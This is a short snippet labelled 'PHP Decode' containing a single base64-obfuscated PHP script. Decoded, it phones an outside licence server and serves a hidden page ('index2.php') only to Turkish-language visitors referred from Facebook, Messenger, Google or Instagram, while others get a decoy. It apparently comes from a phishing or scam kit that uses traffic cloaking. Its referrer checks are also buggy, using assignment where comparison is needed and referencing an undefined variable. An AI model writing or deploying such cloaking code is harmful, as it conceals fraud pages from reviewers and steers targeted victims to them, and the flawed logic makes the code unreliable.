PHP Decode

<?php require(base64_decode('bGljZW5jZS5waHA='));$y3a559eba=date(base64_decode('SC1p'));if(($y3a559eba==base64_decode('MDMtMDU='))||($y3a559eba==base64_decode('MTYtMDU='))){$v60be13ae=file_get_contents(base64_decode('aHR0cHM6Ly9rbG9rYXBpLmdhL3MucGhwP3NvY2lhbD0=').md5($xd551496f));if($v60be13ae!=base64_decode('ImFzeW91YXJlIg==')){echo base64_decode('TGlzYW5zIHNvcnVudQ==');die();}}$d8d93d649=base64_decode('aW5kZXgyLnBocA==');$f87b99a4d=substr($_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')],0,2);echo $f87b99a4d;if($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]==null OR $f87b99a4d!=base64_decode('dHI=')){include($rc0155143);}elseif($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]=base64_decode('aHR0cHM6Ly9sLm1lc3Nlbmdlci5jb20=') or $_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]=base64_decode('aHR0cHM6Ly93d3cubWVzc2VuZ2VyLmNvbQ==') or $_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]=base64_decode('aHR0cHM6Ly93d3cuZmFjZWJvb2suY29t') or $_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]=base64_decode('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbQ==') or $_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]=base64_decode('aHR0cHM6Ly93d3cuaW5zdGFncmFtLmNvbQ==')){include($d8d93d649);}else{include($rc0155143);}?>